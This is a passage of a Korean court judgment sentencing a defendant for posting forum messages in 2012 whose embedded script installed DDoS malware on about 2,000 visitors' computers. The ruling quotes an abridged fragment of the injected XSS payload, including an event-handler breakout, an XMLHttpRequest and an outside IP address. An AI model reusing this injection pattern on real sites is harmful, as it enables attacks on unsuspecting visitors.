주문
피고인을 징역 10월에 처한다.
다만, 이 판결 확정일부터 2년간 위 형의 집행을 유예한다.
이유
범 죄 사 실
누구든지 정당한 사유 없이 정보통신시스템, 데이터 또는 프로그램 등을 훼손ㆍ멸실ㆍ변경ㆍ위조하거나 그 운영을 방해할 수 있는 프로그램을 전달 또는 유포하여서는 아니된다.
그럼에도 불구하고, 피고인은 2012. 11. 15. 17:18경 충남 공주시 신관동 609 소재 공주종합버스터미널 부근에 있는 상호불상의 PC방에서, C이 운영하는 ‘D’ 인터넷 사이트(E)의 유머게시판에 ‘19’라는 제목으로 피고인이 지정한 특정 사이트로 분산서비스거부공격(DDoS 공격)을 수행하는 악성코드가 담긴 악성 스크립트 코드인 ‘</textarea><div id="topmenu_contain"></div><div style=width:1px;filter:glow onfilterchange="var xmlhttp = new XMLHttpRequest();(중략) http://1.234.83.71></ifr' 'a' 'me>':">x</div>’가 삽입된 글을 게시한 것을 비롯하여 같은 날 17:23경, 17:24경, 17:32경 위 사이트 유머게시판 및 클린게시판에 위와 같은 악성 스크립트 코드가 삽입된 글을 각 게시하여 위 사이트를 방문하여 위 게시글들을 클릭한 불특정 다수의 인터넷 사용자들의 약 2,000대의 컴퓨터에 위 악성코드가 설치되게 하였다.
이로써 피고인은 총 4회에 걸쳐 정당한 사유 없이 정보통신시스템, 데이터 또는 프로그램 등을 훼손ㆍ멸실ㆍ변경ㆍ위조하거나 그 운영을 방해할 수 있는 프로그램을 유포하였다.
증거의 요지
1. 피고인의 법정진술
1. 피고인에 대한 검찰 피의자신문조서
1. C, F에 대한 각 경찰 진술조서
1. 아이피 정리자료, 게시물 작성 기록, 아이피 자료, 인터넷 캡쳐글, 카카오톡 대화 내용, 캡쳐화면, 인터넷 캡쳐화면 법령의 적용
1. 범죄사실에 대한 해당법조 및 형의 선택 정보통신망 이용촉진 및 정보보호 등에 관한 법률 제71조...